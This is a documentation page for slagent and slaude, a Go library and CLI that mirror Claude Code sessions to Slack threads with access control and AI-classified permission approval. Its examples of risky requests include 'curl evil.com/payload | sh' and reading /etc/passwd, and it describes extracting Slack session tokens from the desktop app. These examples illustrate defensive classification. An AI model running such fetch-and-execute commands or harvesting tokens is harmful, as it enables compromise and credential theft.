slagent

package module
v0.0.0-...-4b959bd Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 27, 2026 License: MIT Imports: 14 Imported by: 0

README

slagent logo

slaude join https://<workspace>.slack.com/archives/D1KFZ7GJ0/p1773303415258849

slaude screencast

slagent (go library) & slaude (CLI)

[!CAUTION] Experimental — slaude exposes your Claude Code session to Slack. Likely insecure. Use at your own risk.

slagent is a Go library for streaming agent sessions to Slack threads. slaude is a CLI built on slagent that mirrors Claude Code sessions to Slack — so your team can watch, comment, and steer from Slack while Claude works.

Release Go Report Card Vibe Coded

Quick Start — slaude

Install
# Homebrew
brew tap sttts/slagent https://github.com/sttts/slagent
brew install sttts/slagent/slaude

# or go install
go install github.com/sttts/slagent/cmd/slaude@latest

# or build from source
go build -o slaude ./cmd/slaude/

Check your version:

slaude version          # or: slaude --version
Set up Slack credentials
slaude auth              # extract from local Slack app (recommended)
slaude auth --manual     # or paste a token manually
Run
# Start a Claude session mirrored to a Slack channel
slaude start #general "design the API"

# With a Slack URL (workspace auto-detected)
slaude start https://team.slack.com/archives/C123 "design the API"

# DM a user
slaude start @alice "review this PR"

# With Claude flags (everything after -- goes to Claude)
slaude start #general -- --permission-mode plan "refactor the auth module"

# Join an existing Slack thread (new agent instance)
slaude join https://team.slack.com/archives/C123/p1234567890 "help with tests"

# Resume a previous session (URL with cursor from exit output)
slaude resume https://team.slack.com/archives/C123/p1234567890#fox@1700000005.000000 -- --resume SESSION_ID

# No channel? Interactive picker shows available channels
slaude start "refactor the auth module"
Commands
Command Description
slaude start [target] [topic] Start a new Slack thread (target: URL, #channel, @user, or ID)
slaude join URL [topic] Join an existing thread with a new agent instance
slaude resume URL#id[@ts] Resume a previous session in a Slack thread
slaude auth Set up Slack credentials
slaude channels List accessible channels
slaude share FILE -c CHANNEL Post a plan file to Slack
slaude status Show current configuration

Everything after -- is passed through to the Claude subprocess. This means slaude doesn't need to know about every Claude flag — you control --permission-mode, --resume, --system-prompt, etc. directly.

Access Modes

Sessions start locked (owner-only) by default. Control who can interact:

slaude start --locked #general "design the API"    # 🔒 owner only (default)
slaude start --open #general "design the API"      # 🔓 everyone can interact
slaude start --observe #general "watch and learn"   # 👀 reads all, responds to owner

Change at runtime from Slack: :fox_face: /open, :fox_face: /open <@user> (grant one person), :fox_face: /lock, :fox_face: /observe. See Thread Access Control for details.

Multi-Instance Threads

Multiple slaude instances can share a Slack thread. Each instance gets a unique identity emoji (e.g. 🦊, 🐶). To address a specific instance, use :shortcode: prefix:

:fox_face: focus on the auth module     →  addressed to 🦊 (others see it but ignore)
:fox_face: /compact                     →  /command sent exclusively to 🦊
Messages without prefix                 →  broadcast to all instances

Regular messages with :shortcode: prefix are delivered to all instances, but the system prompt tells non-targeted instances to ignore them. Commands (/something) are instance-exclusive — only the targeted instance receives them.

Thread Access Control

Access has two independent axes:

Base mode — who the agent responds to:

  • Locked (default for start): owner only
  • Selective: owner + listed users
  • Open: everyone

Observe flag — who the agent sees:

  • Off (default): non-authorized messages filtered out
  • On: all messages delivered for passive learning, agent still only responds to authorized users

Use /open, /lock, and /observe to control access (via :shortcode: targeting):

Command Effect
:fox_face: /open Open thread for everyone
:fox_face: /open <@U1> <@U2> Allow specific users (additive)
:fox_face: /lock Lock to owner only (resets all, disables observe)
:fox_face: /lock <@U1> Ban specific users
:fox_face: /close Alias for /lock
:fox_face: /observe Toggle observe mode (locked + read all messages)

Three mutually exclusive CLI flags control the initial access mode:

slaude start --locked #general "design the API"   # locked (default for start)
slaude start --observe #general "watch and learn"  # observe: read all, respond to owner
slaude start --open #general "design the API"      # open for everyone

slaude join --observe URL "help with tests"             # observe (default for join)
slaude join --locked URL "review"                       # locked to owner only

When no flag is given:

  • Interactive (terminal): prompts Closed, oBserve, or open? [cBo]
  • Non-interactive (piped): start defaults to locked, join/resume default to observe

Each instance manages its own access independently. Joined/resumed instances don't persist access changes to the shared thread title — their /open and /lock commands only affect in-memory state.

Thread title reflects access state:

  • 🔒🧵 Topic — locked (owner only)
  • 👀🧵 Topic — observe (locked + reading all messages)
  • 🧵 Topic — open for all
  • 🧵 @user1 @user2 Topic — selective (specific users)
  • 👀🧵 @user1 @user2 Topic — selective + observe
  • 🧵 Topic (🔒 @user) — with banned users
Permission Auto-Approve

By default, every tool permission request goes to Slack for manual approval via reactions (✅/❌). For faster workflows, slaude can auto-approve safe operations using AI-based classification.

Two independent flags control what gets auto-approved:

# Auto-approve read-only local operations, network to known hosts
slaude start #general \
  --dangerous-auto-approve green \
  --dangerous-auto-approve-network known \
  -- "refactor the auth module"

--dangerous-auto-approve — sandbox/filesystem risk level:

Value Auto-approves Goes to Slack
never (default) nothing everything
green read-only local ops (file reads, searches) writes, execution
yellow local writes (test files, project edits) system files, destructive ops

--dangerous-auto-approve-network — network access:

Value Auto-approves Goes to Slack
never (default) nothing any network access
known known-safe hosts (package managers, GitHub) unknown hosts
any all network access nothing

Both must pass for auto-approval. For example, with --dangerous-auto-approve green --dangerous-auto-approve-network known:

  • Read main.go → green, no network → auto-approved
  • go mod download → green, network to proxy.golang.org (known) → auto-approved
  • curl evil.com → red, unknown host → goes to Slack
How classification works

Each permission request is classified by claude --model haiku for speed and cost. The classifier assesses:

  • Risk level (green/yellow/red) — based on sandbox escape risk
  • Network access — whether the operation involves network access and to which destination

The classification result (level, network destination, reasoning) is shown in the terminal and included in Slack approval prompts.

On classification failure (e.g. claude not in PATH), the request defaults to red + network (always goes to Slack).

Configuration

Classifier settings are shared between slaude and the standalone claude-command-classifier-hook via ~/.config/slagent/classifier.yaml:

# Classifier settings (shared by slaude and claude-command-classifier-hook)
auto-approve: green
auto-approve-network: known

# Known-safe network destinations (replaces built-in defaults when present).
# Built-in defaults: GitHub, Go proxy, npm, PyPI, RubyGems, crates.io.
known-hosts:
  # Simple host entries (default methods: GET, HEAD)
  - host: proxy.golang.org
  - host: github.com

  # Host glob patterns (* = one label, ** = one or more labels)
  - host: "*.googleapis.com"       # matches storage.googleapis.com
  - host: "**.amazonaws.com"       # matches s3.us-east-1.amazonaws.com

  # Restrict by URL path
  - host: api.github.com
    path: "/repos/**"

  # Allow specific HTTP methods (default: [GET, HEAD])
  - host: registry.npmjs.org
    methods: [GET, HEAD, PUT]

Host patterns* matches one DNS label (*.github.comapi.github.com), ** matches one or more (**.github.coma.b.github.com). Path patterns* matches one segment (/repos/*/repos/foo), ** matches one or more (/repos/**/repos/foo/bar). Methods default to [GET, HEAD] when omitted.

Workspace-specific overrides for slaude go in ~/.config/slagent/slaude.yaml:

workspaces:
  nvidia.enterprise.slack.com:
    thinking-emoji: ":claude-thinking:"
    dangerous-auto-approve: green
    dangerous-auto-approve-network: known
Custom rules

Add project-specific classification rules that get appended to the AI prompt:

rules:
  - "go test, go build, go vet, go mod tidy are GREEN even though they may write build artifacts or fetch modules."
  - "Makefile targets (make test, make lint, make imports) in the project directory are GREEN."

Rules don't override the built-in risk levels — they give the classifier additional context for domain-specific decisions.

Path traversal detection

The classifier detects path traversal attempts. File operations that escape the working directory via .., absolute paths, or symlinks are classified as at least yellow (reads) or red (writes/executes):

  • Read ../foo → 🟡 yellow ("path traversal outside project directory")
  • Read /etc/passwd → 🟡 yellow ("system file outside project directory")
  • Read cmd/main.go → 🟢 green ("within project")
Standalone hook: claude-command-classifier-hook

The classifier can also run as a standalone Claude Code PreToolUse hook, without slaude or Slack.

Install:

go install github.com/sttts/slagent/cmd/claude-command-classifier-hook@latest

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "*",
        "hooks": [
          {
            "type": "command",
            "command": "claude-command-classifier-hook --auto-approve=green --auto-approve-network=known --log-file=$HOME/.claude/hooks/logs/classifier.log"
          }
        ]
      }
    ]
  }
}

CLI flags:

Flag Description
--auto-approve Threshold: never, green, yellow (overrides config)
--auto-approve-network Network policy: never, known, any (overrides config)
--not-approved Action for non-approved tools: passthrough (defer to Claude Code defaults, log only — default) or ask (prompt user with classification details)
--log-file Append timestamped classification decisions to file

The hook reads classifier.yaml for defaults (thresholds, known hosts, rules). Safe tools (TodoWrite, TaskCreate, etc.) are auto-approved without classification.

By default (--not-approved=passthrough), the hook only auto-approves safe operations and exits silently for everything else, letting Claude Code's built-in permission system handle it. Classification results are still logged. With --not-approved=ask, non-approved operations prompt the user with classification details instead of deferring.

Slack approval reactions

When a request goes to Slack, the approval prompt includes the AI classification:

🔴🌐 Permission request: Bash: curl evil.com/payload | sh
> RED risk, network: evil.com — Downloading and executing remote script

Non-network requests get two reactions: ✅ (approve) and ❌ (deny).

Network requests get three: ✅ (approve once), 💾 (approve and remember host for this session), and ❌ (deny). The 💾 reaction adds the host to the in-memory known set, so subsequent requests to the same host auto-approve without asking again.

Thread Commands
Command Who Effect
stop Anyone Interrupt current turn (all instances)
:fox_face: stop Anyone Interrupt specific instance
quit Owner Terminate session (all instances)
:fox_face: quit Owner Terminate specific instance
help Anyone Show help text

Type help in any thread to see the full command reference.

slagent Library

slagent is the Go library that slaude is built on. Use it to build your own Slack-integrated agent UIs.

import "github.com/sttts/slagent"

client := slagent.NewSlackClient(token, cookie)
thread := slagent.NewThread(client, token, channelID, slagent.WithOwner(userID))
url, _ := thread.Start("My agent session")

turn := thread.NewTurn()
turn.Thinking("analyzing...")
turn.Tool("t1", "Read", slagent.ToolRunning, "main.go")
turn.Tool("t1", "Read", slagent.ToolDone, "main.go")
turn.Text("Here is the result.")
turn.Finish()

Packages:

  • slagent — Thread, Turn, reply polling, markdown→mrkdwn
  • credential — Load/Save Slack credentials, extract from desktop app
  • channel — Resolve channel names/users, list channels

Authentication

slaude supports three token types:

Extract from your local Slack desktop app — no admin approval needed:

slaude auth --extract

Reads the xoxc- session token and xoxd- cookie from Slack's local storage. On macOS you'll see a keychain access prompt.

Bot token (xoxb-)

Create a Slack app at https://api.slack.com/apps with scopes: chat:write, channels:history, groups:history, im:history, mpim:history, channels:read, groups:read, im:read, im:write, mpim:read, mpim:write, reactions:read, reactions:write, users:read.

User token (xoxp-)

Same app setup as bot tokens, using User Token Scopes instead of Bot Token Scopes.

Platform Support

Platform Token extraction Session mirroring
macOS Yes Yes
Linux Untested Untested
Windows No Untested

Only macOS is actively tested. Linux and Windows might work — PRs welcome.

Documentation

Overview

Package slagent provides a unified streaming interface for Slack agent sessions.

It supports two backends transparently:

  • Native streaming (bot tokens, xoxb-*): uses chat.startStream/appendStream/stopStream
  • Compat streaming (session/user tokens): uses chat.postMessage/chat.update

The backend is selected automatically based on the token type.

Index

Constants

View Source
const (
	ToolRunning = "running"
	ToolDone    = "done"
	ToolError   = "error"
)

Tool status constants for use with Turn.Tool().

Variables

This section is empty.

Functions

func InstanceEmoji

func InstanceEmoji(instanceID string) string

InstanceEmoji returns the emoji for a given instance ID (short code). Falls back to 🤖 for unknown IDs.

func MarkdownToMrkdwn

func MarkdownToMrkdwn(text string) string

MarkdownToMrkdwn converts Markdown to Slack mrkdwn format.

func ParseMessage

func ParseMessage(text string) (instanceID, cleaned string, targeted bool)

ParseMessage extracts the target instance and cleaned text from a Slack message. Strips leading @mentions, then checks for :shortcode: prefix.

func PollReaction

func PollReaction(ctx context.Context, p Prompter, msgTS string,
	reactions []string, timeout time.Duration) (string, error)

PollReaction posts a prompt and polls for a reaction until one is selected, the context is cancelled, or the timeout expires. Returns the selected reaction name or "" on timeout/cancel.

func ShortcodesToUnicode

func ShortcodesToUnicode(text string) string

ShortcodesToUnicode converts Slack shortcodes to Unicode emoji. Handles :lock:, :thread:, and all identity emoji shortcodes.

Types

type BlockKind

type BlockKind int

BlockKind classifies a slagent block_id.

const (
	BlockNone      BlockKind = iota // not a slagent block
	BlockFinal                      // finalized text
	BlockStreaming                  // streaming text (not yet final)
	BlockActivity                   // activity (always skip)
)

func ClassifyBlocks

func ClassifyBlocks(blocks slackapi.Blocks) (BlockKind, string)

ClassifyBlocks returns the kind and instance ID of the first slagent block found.

type CommandMessage

type CommandMessage struct {
	User, UserID, Command string
}

CommandMessage is a /command to forward to Claude.

type FeedbackMessage

type FeedbackMessage struct {
	Text string // emoji-prefixed feedback (e.g. "🔓 Thread opened for everyone.")
}

FeedbackMessage is local feedback from a handled command (e.g. /open, /lock). Not forwarded to Claude — only shown in terminal.

type Message

type Message interface {
	// contains filtered or unexported methods
}

Message is a typed event from a thread participant.

type Prompter

type Prompter interface {
	PostPrompt(text string, reactions []string) (string, error)
	PollReaction(ts string, expected []string) (string, error)
	DeleteMessage(ts string) error
	UpdateMessage(ts, text string) error
	RemoveAllReactions(ts string, reactions []string)
	AddReaction(ts, name string)
	GetReactions(ts string) ([]slackapi.ItemReaction, error)
}

Prompter is the interface for interactive prompt flows (permission, plan mode, sandbox). Thread implements this implicitly.

type QuitMessage

type QuitMessage struct {
	User, UserID string
}

QuitMessage requests terminating the session (owner only).

type SandboxToggle

type SandboxToggle struct {
	User, UserID string
	Enable       *bool // nil if cancelled/timed out
}

SandboxToggle requests a sandbox enable/disable (owner only).

type StopMessage

type StopMessage struct {
	User, UserID string
}

StopMessage requests interrupting the current turn.

type TextMessage

type TextMessage struct {
	User, UserID, Text string
	Observe            bool // observe-only: user not authorized to get responses
}

TextMessage is a regular text message from a user.

type Thread

type Thread struct {

	// Access control (embedded — exports IsAuthorized, IsVisible, SetOpen, etc.)
	*access.Controller
	// contains filtered or unexported fields
}

Thread manages an agent session in a Slack thread.

func NewThread

func NewThread(c *client.Client, channel string, opts ...ThreadOption) *Thread

NewThread creates a new thread manager.

func (*Thread) AddReaction

func (t *Thread) AddReaction(msgTS, reaction string)

AddReaction adds a single reaction to a message.

func (*Thread) Channel

func (t *Thread) Channel() string

Channel returns the channel ID.

func (*Thread) DeleteMessage

func (t *Thread) DeleteMessage(msgTS string) error

DeleteMessage deletes a message from the thread.

func (*Thread) Emoji

func (t *Thread) Emoji() string

Emoji returns the identity emoji for this thread instance.

func (*Thread) FinalizeReaction

func (t *Thread) FinalizeReaction(msgTS, selected string, all []string)

FinalizeReaction cleans up reactions after the owner has made a selection. It removes all non-selected reactions and re-adds the selected one (which was toggled off when the owner clicked it).

func (*Thread) FormatHistory

func (t *Thread) FormatHistory(msgs []slackapi.Message) string

FormatHistory formats thread messages into a text block for Claude to absorb. Messages from slagent instances are identified by block_id and shown with their emoji prefix. Human messages show the resolved user name.

func (*Thread) GetReactions

func (t *Thread) GetReactions(msgTS string) ([]slackapi.ItemReaction, error)

GetReactions returns the reactions on a message.

func (*Thread) InstanceID

func (t *Thread) InstanceID() string

InstanceID returns the instance identifier used in block_id tagging.

func (*Thread) LastTS

func (t *Thread) LastTS() string

LastTS returns the timestamp of the last seen message.

func (*Thread) NewTurn

func (t *Thread) NewTurn() Turn

NewTurn begins a new response turn.

func (*Thread) PollReaction

func (t *Thread) PollReaction(msgTS string, expected []string) (string, error)

PollReaction checks which pre-added reaction the owner has clicked (removed). All expected reactions are pre-added by us (the owner via session token). When the owner clicks one, Slack toggles it off. We detect selection by checking which expected reaction no longer has the owner in its user list. Other users adding reactions is a noop — only the owner's removal counts. Returns the selected reaction name, or "" if no selection yet.

func (*Thread) PollReplies

func (t *Thread) PollReplies() ([]Message, error)

PollReplies fetches new messages without blocking (single poll).

func (*Thread) Post

func (t *Thread) Post(text string) (string, error)

func (*Thread) PostBlocks

func (t *Thread) PostBlocks(fallback string, blocks ...slackapi.Block) error

PostBlocks sends a message with blocks in the thread.

func (*Thread) PostEphemeral

func (t *Thread) PostEphemeral(userID, text string)

Post sends a plain message in the thread. PostEphemeral sends a message visible only to the specified user in the thread.

func (*Thread) PostMarkdown

func (t *Thread) PostMarkdown(text string) error

PostMarkdown posts markdown content as code blocks in the thread.

func (*Thread) PostPrompt

func (t *Thread) PostPrompt(text string, reactions []string) (string, error)

PostPrompt posts a message and adds reaction emojis for interactive responses. Returns the message timestamp for use with PollReaction. Reaction names use Slack short codes without colons (e.g. "white_check_mark", "one").

func (*Thread) PostUser

func (t *Thread) PostUser(user, text string) error

PostUser posts a user message with context block ("👤 @user") and text section.

func (*Thread) RemoveAllReactions

func (t *Thread) RemoveAllReactions(msgTS string, reactions []string)

RemoveAllReactions removes all given reactions from a message.

func (*Thread) Replies

func (t *Thread) Replies(ctx context.Context) ([]Message, error)

Replies returns new messages since the last call, filtering by permissions. It blocks until ctx is cancelled or messages arrive, polling at the configured interval.

func (*Thread) Resume

func (t *Thread) Resume(threadTS string, afterTS ...string) []slackapi.Message

Resume attaches to an existing thread and recovers access state from the title. If afterTS is provided, it is used as the cursor position (skipping all messages up to that point). Otherwise, all replies are fetched and returned for history injection (fresh join). Returns the fetched messages (excluding the parent).

func (*Thread) SetModeSuffix

func (t *Thread) SetModeSuffix(suffix string)

SetModeSuffix sets a suffix appended to the thread title (e.g. " — 📋 planning") and updates the thread parent message. Pass "" to clear.

func (*Thread) Start

func (t *Thread) Start(title string) (string, error)

Start posts the initial thread message and returns the thread URL. Must be called before any concurrent access to the thread.

func (*Thread) ThinkingEmoji

func (t *Thread) ThinkingEmoji() string

ThinkingEmoji returns the Slack shortcode for thinking/running indicator.

func (*Thread) ThreadTS

func (t *Thread) ThreadTS() string

ThreadTS returns the thread timestamp.

func (*Thread) Title

func (t *Thread) Title() string

Title returns the full thread title with shortcodes converted to Unicode.

func (*Thread) Topic

func (t *Thread) Topic() string

Topic returns the parsed topic text (without emojis, mentions, access markers).

func (*Thread) URL

func (t *Thread) URL() string

URL returns the Slack permalink for this thread.

func (*Thread) UpdateMessage

func (t *Thread) UpdateMessage(msgTS, text string) error

UpdateMessage updates an existing message in the thread.

type ThreadOption

type ThreadOption func(*threadConfig)

ThreadOption configures a Thread.

func WithBufferSize

func WithBufferSize(n int) ThreadOption

WithBufferSize sets the text buffer size before flushing (native backend).

func WithInstanceID

func WithInstanceID(id string) ThreadOption

WithInstanceID sets a specific instance ID for message tagging. If not set, a random one is generated. On resume, pass the original instance ID so the poller correctly identifies messages from this session.

func WithMarkdownConverter

func WithMarkdownConverter(fn func(string) string) ThreadOption

WithMarkdownConverter sets a custom markdown-to-mrkdwn converter.

func WithObserve

func WithObserve() ThreadOption

WithObserve enables observe mode: all messages are delivered for passive learning, but the agent only responds to authorized users.

func WithOpenAccess

func WithOpenAccess() ThreadOption

WithOpenAccess allows all thread participants to send input.

func WithOwner

func WithOwner(userID string) ThreadOption

WithOwner restricts the thread to only accept input from the given user ID.

func WithPollInterval

func WithPollInterval(d time.Duration) ThreadOption

WithPollInterval sets the polling interval for new replies.

func WithSlackLog

func WithSlackLog(w io.Writer) ThreadOption

WithSlackLog enables logging of all Slack API calls to w.

func WithThinkingEmoji

func WithThinkingEmoji(shortcode string) ThreadOption

WithThinkingEmoji sets the Slack shortcode used as thinking/running indicator. Default is ":claude:". Example: ":claude-thinking:" for workspaces with custom emoji.

type Turn

type Turn interface {
	// Thinking appends thinking/reasoning content.
	Thinking(text string)

	// Tool reports tool activity. Status: "running", "done", "error".
	Tool(id, name, status, detail string)

	// Text appends response text (markdown).
	Text(text string)

	// Status shows a transient status line.
	Status(text string)

	// MarkQuestion marks this turn as a question. The prefix is prepended
	// and trailing "?" is replaced with " ❓" on finish.
	MarkQuestion(prefix string)

	// DeleteActivity deletes the activity message (thinking + tools).
	DeleteActivity()

	// SetPlainText toggles plain text mode. When on, text is posted as a code
	// block instead of being converted to Slack mrkdwn (e.g. for plan output).
	SetPlainText(on bool)

	// Finish finalizes the turn. Must be called exactly once.
	Finish() error
}

Turn streams one agent response turn to a Slack thread.

Directories

Path Synopsis
Package access provides a pure access-control state machine for thread ownership.
Package access provides a pure access-control state machine for thread ownership.
Package channel provides Slack channel and user resolution.
Package channel provides Slack channel and user resolution.
Package client provides an authenticated Slack client wrapper.
Package client provides an authenticated Slack client wrapper.
cmd
claude-command-classifier-hook command
Command claude-command-classifier-hook is a Claude Code PreToolUse hook that classifies tool calls by risk level using AI.
Command claude-command-classifier-hook is a Claude Code PreToolUse hook that classifies tool calls by risk level using AI.
slagent-demo command
slaude command
slaude/internal/claude
Package claude manages Claude Code as a stream-json subprocess.
Package claude manages Claude Code as a stream-json subprocess.
slaude/internal/perms
Package perms implements an MCP stdio server for Claude Code's --permission-prompt-tool.
Package perms implements an MCP stdio server for Claude Code's --permission-prompt-tool.
slaude/internal/session
Package session orchestrates the slaude planning session.
Package session orchestrates the slaude planning session.
slaude/internal/terminal
Package terminal handles simple terminal output for slaude.
Package terminal handles simple terminal output for slaude.
slaude/shared/classify
Package classify provides AI-based tool call risk classification.
Package classify provides AI-based tool call risk classification.
Package credential manages Slack credentials for slagent.
Package credential manages Slack credentials for slagent.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL